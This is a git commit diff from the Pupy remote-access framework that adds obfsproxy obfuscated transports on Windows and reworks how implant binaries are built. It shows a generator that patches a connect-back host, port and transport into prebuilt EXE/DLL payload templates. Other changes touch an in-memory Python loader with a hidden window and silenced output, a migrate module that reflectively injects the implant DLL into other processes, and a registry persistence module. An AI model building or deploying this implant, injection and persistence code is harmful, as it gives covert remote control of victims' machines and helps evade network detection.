obfsproxy pluggable transports now works on windows ! ex: ./pupygen --transport obfs3 && ./pupysh --transport obfs3

This commit is contained in:
n1nj4sec 2015-10-23 19:16:11 +02:00
parent 14895b05fc
commit 3af2a4455d
21 changed files with 166 additions and 172 deletions

1
.gitignore vendored
View File

@ -32,6 +32,7 @@ client/**/*.py[cod]
pupy/*.py[cod]
pupy/pupylib/**/*.py[cod]
pupy/modules/*.py[cod]
pupy/network/**/*.py[cod]
# do not ignore package & templates files
!pupy/packages/

View File

@ -17,22 +17,22 @@ if not (len(sys.argv)==3 and sys.argv[1]=="genzip"):
exit("This setup is not meant to build pupy stubs, but only to generate an adequate library.zip to embed in the real exe/dll stub\nplease don't use this if you don't want to recompile from sources")
if sys.argv[2] == 'x86':
outname = 'x86'
platform = 'x86'
platform = '32'
elif sys.argv[2] == 'x64':
outname = 'x64'
platform = 'amd64'
platform = '-amd64'
else:
exit('unsupported platform')
sys.argv=[sys.argv[0],"py2exe"]
# put necessary library patches/includes/whatever in this directory
sys.path.insert(0, "sources/resources/library_patches")
sys.path.insert(0, os.path.join("sources","resources","library_patches"))
sys.path.insert(0, os.path.join("..","pupy"))
setup(
data_files = [(".", glob(r'.\RESOURCES_x86\msvcr90.dll'))],
console=['reverse_ssl.py'],
#data_files = [(".", glob(r'.\RESOURCES_x86\msvcr90.dll'))],
console=['..\\pupy\\pp.py'],
#windows=['reverse_ssl.py'],
#zipfile=None,
options={ "py2exe" : {
@ -49,19 +49,25 @@ excluded_files = [
'library.zip',
'mswsock.dll',
'python27.dll',
'pp.exe',
'w9xpopen.exe',
]
def zwalk(path, zf):
for root, dirs, files in os.walk(path):
for file in files:
if file.lower() in excluded_files:
pass
elif file.endswith('.pyd') and "." in file.rsplit(".",1)[0]:
arch_path="/".join(file.rsplit(".",1)[0].split('.'))
zf.write(os.path.join(root,file),arcname=arch_path+".pyd")
else:
zf.write(os.path.join(root, file))
with zipfile.ZipFile('sources/resources/library%s.zip' % outname, 'w', zipfile.ZIP_DEFLATED) as zf:
root = os.getcwd()
os.chdir('build/bdist.win-%s/winexe/collect-2.7' % platform)
os.chdir('build/bdist.win%s/winexe/collect-2.7' % platform)
zwalk('.', zf)
os.chdir('%s/dist' % root)
zwalk('.', zf)

View File

@ -4,7 +4,6 @@ PYTHONPATH=C:/Python27
PYTHON=$(PYTHONPATH)/python.exe
TEMPLATE_OUTPUT_PATH=..\..\pupy\payload_templates
ifndef ARCH
$(error You must specify an architecture.)
else
@ -14,14 +13,20 @@ else
CFLAGS:=$(CFLAGS) /DWIN_X86
endif
endif
ifdef DEBUG
DEBUG_ADD:=DEBUG
CFLAGS:= $(CFLAGS) /DDEBUG
else
DEBUG_ADD:=
endif
PYOBJS=_memimporter.obj MyLoadLibrary.obj Python-dynload.obj pupy_load.obj pupy.obj base_inject.obj
COMMON_OBJS=resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj resources_library_compressed_string_txt.obj actctx.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj resources_msvcr90_dll.obj
all: $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).exe $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).dll
resources\library_compressed_string_$(ARCH).txt: gen_library_compressed_string.py
$(PYTHON) $+
resources\library_compressed_string_$(ARCH).txt: gen_library_compressed_string.py resources\library$(ARCH).zip
$(PYTHON) gen_library_compressed_string.py
resources\library_compressed_string.txt: resources\library_compressed_string_$(ARCH).txt
copy $< $@
@ -29,8 +34,8 @@ resources\library_compressed_string.txt: resources\library_compressed_string_$(A
resources_library_compressed_string_txt.c: gen_resource_header.py resources\library_compressed_string.txt
$(PYTHON) $+
resources\bootloader.pyc: gen_python_bootloader.py ..\..\pupy\packages\all\pupyimporter.py
$(PYTHON) $+
resources\bootloader.pyc: gen_python_bootloader.py ..\..\pupy\packages\all\pupyimporter.py ..\..\pupy\pp.py
$(PYTHON) gen_python_bootloader.py $(DEBUG_ADD)
resources_bootloader_pyc.c: gen_resource_header.py resources\bootloader.pyc
$(PYTHON) $+
@ -50,6 +55,9 @@ resources_msvcr90_dll.c: gen_resource_header.py resources\msvcr90.dll
$(PYOBJS): %.obj: %.c
$(CC) /c $(CFLAGS) /I$(PYTHONPATH)/include $<
main_exe.obj: main_exe.c
$(CC) /c $(CFLAGS) $<
%.obj: %.c
$(CC) /c $(CFLAGS) $<

View File

@ -1,5 +1,6 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
import sys
import marshal
import struct
import base64
@ -20,7 +21,8 @@ sys.stdout = Blackhole()
sys.stderr = Blackhole()
del Blackhole
"""
#remove_stdout=""
if len(sys.argv)==2 and sys.argv[1].strip().lower()=="debug":
remove_stdout=""
def get_load_module_code(code, modulename):
loader="""
import imp, sys
@ -42,9 +44,9 @@ if __name__=="__main__":
with open(os.path.join("..", "..", "pupy", "packages","all", "pupyimporter.py")) as f:
code=f.read()
code_bytes.append(compile(get_load_module_code(code,"pupyimporter")+"\n", "<string>", "exec"))
code_bytes.append(compile("import pupyimporter;pupyimporter.install()\n", "<string>", "exec"))
code_bytes.append(compile("import pupyimporter;pupyimporter.install();pupyimporter.load_pywintypes()\n", "<string>", "exec"))
#code_bytes.append(compile("import platform; print platform.uname()\n", "<string>", "exec"))
with open(os.path.join("..","reverse_ssl.py")) as f:
with open(os.path.join("..",'..','pupy',"pp.py")) as f:
code=f.read()
code_bytes.append(compile(code+"\n", "<string>", "exec"))
code_bytes=marshal.dumps(code_bytes)

View File

@ -3,20 +3,11 @@
#include <stdio.h>
#include <string.h>
#include "pupy_load.h"
#ifndef DEBUG
#pragma comment(linker, "/subsystem:windows /ENTRY:mainCRTStartup")
#endif
#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
/* value "<default_connect_back_host>:<default_connect_back_port>" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */
char connect_back_host[100]="<default_connect_back_host>:<default_connect_back_port>"; //big array to have space for big domain names.
int main(int argc, char *argv[]){
if (argc==2){
memcpy(connect_back_host, argv[1], strlen(argv[1])+1);
}
if(strcmp(connect_back_host,"<default_connect_back_host>:<default_connect_back_port>")==0){
printf("usage: %s <host>:<port>",argv[0]);
return 1;
}
return mainThread(NULL);
}

View File

@ -1,16 +1,14 @@
/*
* Author : Nicolas VERDIER
*
*/
//#pragma comment(lib, "user32")
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/
#pragma comment(lib, "user32")
#include <windows.h>
#include "pupy_load.h"
#include "ReflectiveDllInjection.h"
/* value "<default_connect_back_host>:<default_connect_back_port>" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */
char connect_back_host[100]="<default_connect_back_host>:<default_connect_back_port>"; //big array to have space for big domain names.
extern HINSTANCE hAppInstance;
//===============================================================================================//
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )

View File

@ -1,6 +1,6 @@
/*
For the pupy_builtins compiled into pupy exe and reflective DLL stubs we need "Python-dynload.h".
For the standalone .pyd we need <Python.h>
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/
#include "Python-dynload.h"
@ -11,11 +11,7 @@ static char module_doc[] = "Builtins utilities for pupy";
extern const char resources_library_compressed_string_txt_start[];
extern const int resources_library_compressed_string_txt_size;
#ifndef STANDALONE
extern char connect_back_host[100];
#else
char connect_back_host[100] = "0.0.0.0:443";
#endif
char pupy_config[4096]="####---PUPY_CONFIG_COMES_HERE---####\n"; //big array to have space for more config / code run at startup
extern const DWORD dwPupyArch;
static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args)
{
@ -23,10 +19,11 @@ static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args
}
static PyObject *
Py_get_connect_back_host(PyObject *self, PyObject *args)
Py_get_pupy_config(PyObject *self, PyObject *args)
{
return Py_BuildValue("s", connect_back_host);
return Py_BuildValue("s", pupy_config);
}
static PyObject *Py_get_arch(PyObject *self, PyObject *args)
{
if(dwPupyArch==PROCESS_ARCH_X86){
@ -73,7 +70,7 @@ static PyObject *Py_load_dll(PyObject *self, PyObject *args)
}
static PyMethodDef methods[] = {
{ "get_connect_back_host", Py_get_connect_back_host, METH_NOARGS, "get_connect_back_host() -> (ip, port)" },
{ "get_pupy_config", Py_get_pupy_config, METH_NOARGS, "get_pupy_config() -> string" },
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
{ "_get_compressed_library_string", Py_get_compressed_library_string, METH_VARARGS },
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" },

View File

@ -1,3 +1,8 @@
/*
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/
#define QUIET // uncomment to avoid debug prints
#include <stdlib.h>
#include <stdio.h>
@ -9,10 +14,6 @@
#include "resource_python_manifest.c"
#include "base_inject.h"
HANDLE MyActCtx;
static ULONG_PTR actToken;
extern const char resources_python27_dll_start[];
extern const int resources_python27_dll_size;
extern const char resources_bootloader_pyc_start[];
@ -46,15 +47,6 @@ DWORD WINAPI mainThread(LPVOID lpArg)
char tmp_manifest_path[MAX_PATH];
char tmp_path[MAX_PATH];
ULONG_PTR cookie = 0;
/*
ACTCTX ctx;
BOOL activated;
HANDLE k32;
HANDLE (WINAPI *CreateActCtx)(PACTCTX pActCtx);
BOOL (WINAPI *ActivateActCtx)(HANDLE hActCtx, ULONG_PTR *lpCookie);
void (WINAPI *AddRefActCtx)(HANDLE hActCtx);
BOOL (WINAPI *DeactivateActCtx)(DWORD dwFlags, ULONG_PTR ulCookie);
*/
PyGILState_STATE restore_state;
if(!GetModuleHandle("msvcr90.dll")){
@ -71,47 +63,10 @@ DWORD WINAPI mainThread(LPVOID lpArg)
GetTempPath(MAX_PATH, tmp_path);
//InitializeCriticalSection(&csInit);
/*
k32 = LoadLibrary("kernel32");
CreateActCtx = (void*)GetProcAddress(k32, "CreateActCtxA");
ActivateActCtx = (void*)GetProcAddress(k32, "ActivateActCtx");
AddRefActCtx = (void*)GetProcAddress(k32, "AddRefActCtx");
DeactivateActCtx = (void*)GetProcAddress(k32, "DeactivateActCtx");
if (!CreateActCtx || !ActivateActCtx)
{
return 0;
}
ZeroMemory(&ctx, sizeof(ctx));
ctx.cbSize = sizeof(ACTCTX);
GetTempFileName(tmp_path, "tmp", 0, tmp_manifest_path);
f=fopen(tmp_manifest_path,"w");
fprintf(f,"%s",resource_python_manifest);
fclose(f);
#ifndef QUIET
fprintf(stderr,"manifest written to %s\n",tmp_manifest_path);
#endif
ctx.lpSource = tmp_manifest_path;
MyActCtx=CreateActCtx(&ctx);
if (MyActCtx != NULL)
{
AddRefActCtx(MyActCtx);
}
#ifndef QUIET
DeleteFile(tmp_manifest_path);
#endif
*/
if(!Py_IsInitialized)
{
int res=0;
//activated = ActivateActCtx(MyActCtx, &actToken);
//cookie=_My_ActivateActCtx();
if(GetModuleHandle("python27.dll")){
HANDLE hp;
#ifndef QUIET
@ -144,7 +99,6 @@ DWORD WINAPI mainThread(LPVOID lpArg)
fprintf(stderr,"python interpreter loaded\n");
#endif
}
//_My_DeactivateActCtx(cookie);
}
#ifndef QUIET
fprintf(stderr,"calling PyEval_InitThreads() ...\n");
@ -177,15 +131,12 @@ DWORD WINAPI mainThread(LPVOID lpArg)
fprintf(stderr,"initpupy()\n");
#endif
//mod = PyImport_ImportModule("sys");
//MessageBoxA(0, "hey ! :D", "DLL Message", MB_OK | MB_ICONINFORMATION);
/* We execute then in the context of '__main__' */
#ifndef QUIET
fprintf(stderr,"starting evaluating python code ...\n");
#endif
//PyRun_SimpleString("print 'ok from python'");
m = PyImport_AddModule("__main__");
if (m) d = PyModule_GetDict(m);
if (d) seq = PyMarshal_ReadObjectFromString(resources_bootloader_pyc_start, resources_bootloader_pyc_size);
@ -206,16 +157,7 @@ DWORD WINAPI mainThread(LPVOID lpArg)
}
}
PyGILState_Release(restore_state);
//if (PyErr_Occurred())
// PyErr_Print();
Py_Finalize();
/*
if (!DeactivateActCtx(0, actToken)){
#ifndef QUIET
fprintf(stderr,"LOADER: Error deactivating context!\n!");
#endif
}
*/
//DeleteCriticalSection(&csInit);
return 0;

View File

@ -48,10 +48,10 @@ class MigrateModule(PupyModule):
if self.client.conn.modules['pupwinutils.processes'].is_process_64(pid):
isProcess64bits=True
self.success("process is 64 bits")
dllbuff=pupygen.get_edit_pupyx64_dll(host, port)
dllbuff=pupygen.get_edit_pupyx64_dll(host, port, self.client.pupsrv.transport)
else:
self.success("process is 32 bits")
dllbuff=pupygen.get_edit_pupyx86_dll(host, port)
dllbuff=pupygen.get_edit_pupyx86_dll(host, port, self.client.pupsrv.transport)
self.success("injecting DLL in target process %s ..."%pid)
self.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits)
self.success("DLL injected !")

View File

@ -46,9 +46,9 @@ class PersistenceModule(PupyModule):
#generating exe
self.info("generating exe ...")
if self.client.desc['proc_arch']=="64bit":
exebuff=pupygen.get_edit_pupyx64_exe(host, port)
exebuff=pupygen.get_edit_pupyx64_exe(host, port, self.pupsrv.transport)
else:
exebuff=pupygen.get_edit_pupyx86_exe(host, port)
exebuff=pupygen.get_edit_pupyx86_exe(host, port, self.pupsrv.transport)
if args.method=="registry":
self.client.load_package("pupwinutils.persistence")

View File

@ -1,5 +1,6 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
class Circuit(object):
""" alias for obfsproxy style syntax"""

View File

@ -1,6 +1,6 @@
# This file has been taken from obfsproxy project
# Using the same buffer object as in obfsproxy to enhance compatibility
#some modifications brings to have waiting capabilities
import threading
class Buffer(object):
"""
A Buffer is a simple FIFO buffer. You write() stuff to it, and you
@ -13,9 +13,20 @@ class Buffer(object):
"""
self.buffer = bytes(data)
self.on_write_f=on_write
self.waiting_lock=threading.Lock()
self.waiting=threading.Event()
def on_write(self):
if self.on_write_f:
self.on_write_f()
def wait(self, timeout=0.1):
""" wait for a size """
with self.waiting_lock:
self.waiting.clear()
self.waiting.wait(timeout)
def read(self, n=-1):
"""
Read and return 'n' bytes from the buffer.
@ -38,8 +49,10 @@ class Buffer(object):
"""
Append 'data' to the buffer.
"""
with self.waiting_lock:
self.buffer = self.buffer + data
self.on_write()
self.waiting.set()
def peek(self, n=-1):
"""

Binary file not shown.

View File

@ -1,5 +1,6 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from .servers import PupyTCPServer
from .clients import PupyTCPClient, PupySSLClient
from .transports import dummy, b64
@ -14,18 +15,18 @@ except ImportError:
from rpyc.utils.authenticators import SSLAuthenticator
ssl_auth=None
config = configparser.ConfigParser()
try:
def ssl_authenticator():
config = configparser.ConfigParser()
config.read("pupy.conf")
except Exception:
logging.error("couldn't read pupy.conf")
return SSLAuthenticator(config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH")
transports={
"tcp_ssl" : {
"server" : PupyTCPServer,
"client": PupySSLClient,
"client_kwargs" : {},
"authenticator" : SSLAuthenticator(config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH"),
"authenticator" : ssl_authenticator,
"stream": PupySocketStream ,
"client_transport" : dummy.DummyPupyTransport,
"server_transport" : dummy.DummyPupyTransport,

Binary file not shown.

View File

@ -1,6 +1,8 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
""" abstraction layer over rpyc streams to handle different transports and integrate obfsproxy pluggable transports """
import sys
from rpyc.core import SocketStream
from .buffer import Buffer
import socket
@ -9,6 +11,8 @@ import errno
import logging
import traceback
from rpyc.lib.compat import select, select_error, BYTES_LITERAL, get_exc_errno, maxint
import threading
retry_errnos = (errno.EAGAIN, errno.EWOULDBLOCK)
class PupySocketStream(SocketStream):
def __init__(self, sock, transport_class):
@ -21,6 +25,9 @@ class PupySocketStream(SocketStream):
self.downstream=Buffer(on_write=self._upstream_recv)
self.transport=transport_class(self)
self.on_connect()
#self.async_read_thread=threading.Thread(target=self._downstream_recv_loop)
#self.async_read_thread.daemon=True
#self.async_read_thread.start()
def on_connect(self):
self.transport.on_connect()
@ -28,7 +35,6 @@ class PupySocketStream(SocketStream):
def _read(self):
try:
#buf = self.sock.recv(min(self.MAX_IO_CHUNK, count))
buf = self.sock.recv(self.MAX_IO_CHUNK)
except socket.timeout:
return
@ -52,23 +58,29 @@ class PupySocketStream(SocketStream):
def _upstream_recv(self):
""" called as a callback on the downstream.write """
#print "upstream_recv"
#print "downstream=%s"%len(self.downstream)
#print "upstream=%s"%len(self.upstream)
if len(self.downstream)>0:
#print "writing %s"%len(self.downstream.peek())
super(PupySocketStream, self).write(self.downstream.read())
def _downstream_recv_loop(self):
try:
while True:
self._read()
self.transport.downstream_recv(self.buf_in)
except EOFError as e:
self.upstream.set_eof(e)
def read(self, count):
try:
if len(self.upstream)>=count:
return self.upstream.read(count)
while len(self.upstream)<count:
if self.sock_poll(0):#to avoid waiting on the socket while a transport write on the upstream buffer resulting in deadlock
if self.sock_poll(0):
self._read()
self.transport.downstream_recv(self.buf_in)
if len(self.upstream)<count:
time.sleep(0.1)#to avoid active wait
#it seems we can actively wait here with only perf enhancement
#if len(self.upstream)<count:
# self.upstream.wait(0.1)#to avoid active wait
return self.upstream.read(count)
except Exception as e:
logging.debug(traceback.format_exc())

Binary file not shown.

View File

@ -54,7 +54,7 @@ class PupyPackageLoader:
self.extension = extension
self.is_pkg=is_pkg
self.path=path
#self.archive=""
self.archive="" #need this attribute
def load_module(self, fullname):
imp.acquire_lock()
@ -159,7 +159,18 @@ class PupyPackageFinder:
finally:
imp.release_lock()
def load_pywintypes():
#loading pywintypes27.dll :-)
global modules
try:
import pupy
pupy.load_dll("pywintypes27.dll", modules["pywintypes27.dll"])
except Exception as e:
print e
pass
def install():
sys.meta_path.append(PupyPackageFinder(modules))
sys.path_importer_cache.clear()

View File

@ -1,5 +1,19 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
# ---------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# ---------------------------------------------------------------
import site
import sys
import time
@ -79,6 +93,7 @@ def get_next_wait(attempt):
else:
return random.randint(15,30)
def add_pseudo_pupy_module(HOST):
""" add a pseudo pupy module for *nix payloads """
if not "pupy" in sys.modules:
@ -90,9 +105,10 @@ def add_pseudo_pupy_module(HOST):
mod.get_connect_back_host=(lambda : HOST)
mod.pseudo=True
HOST="127.0.0.1:443"
TRANSPORT="tcp_ssl"
def main():
HOST="127.0.0.1:443"
TRANSPORT="tcp_ssl"
global HOST, TRANSPORT
if len(sys.argv)>1:
parser = argparse.ArgumentParser(prog='pp.py', formatter_class=argparse.RawTextHelpFormatter, description="Starts a reverse connection to a Pupy server\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec (contact@n1nj4.eu)\n")
parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default=TRANSPORT, help="the transport to use ! (the server needs to be configured with the same transport) ")
@ -103,7 +119,9 @@ def main():
if "windows" in platform.system().lower():
try:
import pupy
HOST=pupy.get_connect_back_host()
config_file=pupy.get_pupy_config()
exec config_file in globals()
pupy.get_connect_back_host=(lambda: HOST)
except ImportError:
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
else:

View File

@ -1,58 +1,46 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
# ---------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# ---------------------------------------------------------------
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
import argparse
import sys
import os.path
from pupylib.utils.network import get_local_ip
from network.conf import transports
def get_edit_pupyx86_dll(host, ip):
return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), host, ip)
def get_edit_pupyx86_dll(host, ip, transport):
return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), host, ip, transport)
def get_edit_pupyx64_dll(host, ip):
return get_edit_binary(os.path.join("payload_templates","pupyx64.dll"), host, ip)
def get_edit_pupyx64_dll(host, ip, transport):
return get_edit_binary(os.path.join("payload_templates","pupyx64.dll"), host, ip, transport)
def get_edit_pupyx86_exe(host, ip):
return get_edit_binary(os.path.join("payload_templates","pupyx86.exe"), host, ip)
def get_edit_pupyx86_exe(host, ip, transport):
return get_edit_binary(os.path.join("payload_templates","pupyx86.exe"), host, ip, transport)
def get_edit_pupyx64_exe(host, ip):
return get_edit_binary(os.path.join("payload_templates","pupyx64.exe"), host, ip)
def get_edit_pupyx64_exe(host, ip, transport):
return get_edit_binary(os.path.join("payload_templates","pupyx64.exe"), host, ip, transport)
def get_edit_binary(path, host, ip):
def get_edit_binary(path, host, port, transport, offline_script=""):
binary=b""
with open(path, 'rb') as f:
binary=f.read()
i=0
offsets=[]
while True:
i=binary.find("<default_connect_back_host>:<default_connect_back_port>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", i+1)
i=binary.find("####---PUPY_CONFIG_COMES_HERE---####\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", i+1)
if i==-1:
break
offsets.append(i)
if not offsets:
raise Exception("Error: the offset to edit IP:PORT have not been found")
raise Exception("Error: the offset to edit the config have not been found")
elif len(offsets)!=1:
raise Exception("Error: multiple offsets to edit IP:PORT have been found")
raise Exception("Error: multiple offsets to edit the config have been found")
new_host="%s:%s\x00\x00\x00\x00"%(host,ip)
if len(new_host)>100:
raise Exception("Error: host too long")
binary=binary[0:offsets[0]]+new_host+binary[offsets[0]+len(new_host):]
new_conf="HOST=\"%s:%s\"\nTRANSPORT=%s\n%s\n\x00\x00\x00\x00\x00\x00\x00\x00"%(host, port, repr(transport), offline_script)
if len(new_conf)>4092:
raise Exception("Error: config too long")
binary=binary[0:offsets[0]]+new_conf+binary[offsets[0]+len(new_conf):]
return binary
@ -61,6 +49,7 @@ if __name__=="__main__":
parser.add_argument('-t', '--type', default='exe_x86', choices=['exe_x86','exe_x64','dll_x86','dll_x64'], help="(default: exe_x86)")
parser.add_argument('-o', '--output', help="output path")
parser.add_argument('-p', '--port', type=int, default=443, help="connect back ip (default:443)")
parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default='tcp_ssl', help="the transport to use ! (the server needs to be configured with the same transport) ")
parser.add_argument('host', nargs='*', help="connect back host")
args=parser.parse_args()
myhost=None
@ -74,28 +63,28 @@ if __name__=="__main__":
outpath=None
if args.type=="exe_x86":
binary=get_edit_pupyx86_exe(myhost, args.port)
binary=get_edit_pupyx86_exe(myhost, args.port, args.transport)
outpath="pupyx86.exe"
if args.output:
outpath=args.output
with open(outpath, 'wb') as w:
w.write(binary)
elif args.type=="exe_x64":
binary=get_edit_pupyx64_exe(myhost, args.port)
binary=get_edit_pupyx64_exe(myhost, args.port, args.transport)
outpath="pupyx64.exe"
if args.output:
outpath=args.output
with open(outpath, 'wb') as w:
w.write(binary)
elif args.type=="dll_x64":
binary=get_edit_pupyx64_dll(myhost, args.port)
binary=get_edit_pupyx64_dll(myhost, args.port, args.transport)
outpath="pupyx64.dll"
if args.output:
outpath=args.output
with open(outpath, 'wb') as w:
w.write(binary)
elif args.type=="dll_x86":
binary=get_edit_pupyx86_dll(myhost, args.port)
binary=get_edit_pupyx86_dll(myhost, args.port, args.transport)
outpath="pupyx86.dll"
if args.output:
outpath=args.output
@ -103,7 +92,7 @@ if __name__=="__main__":
w.write(binary)
else:
exit("Type %s is invalid."%(args.type))
print "binary generated to %s with HOST=%s"%(outpath,(myhost, args.port))
print "binary generated to %s with HOST=%s:%s and TRANSPORT=%s"%(outpath, myhost, args.port, args.transport)

View File

@ -262,7 +262,11 @@ class PupyServer(threading.Thread):
self.handler_registered.wait()
self.handler.display_srvinfo("Server started on %s:%s with transport %s"%(self.address, self.port, self.transport))
t=transports[self.transport]
self.server = t['server'](PupyService.PupyService, port = self.port, hostname=self.address, authenticator=t['authenticator'], stream=t['stream'], transport=t['server_transport'])
if t['authenticator']:
authenticator=t['authenticator']()
else:
authenticator=None
self.server = t['server'](PupyService.PupyService, port = self.port, hostname=self.address, authenticator=authenticator, stream=t['stream'], transport=t['server_transport'])
self.server.start()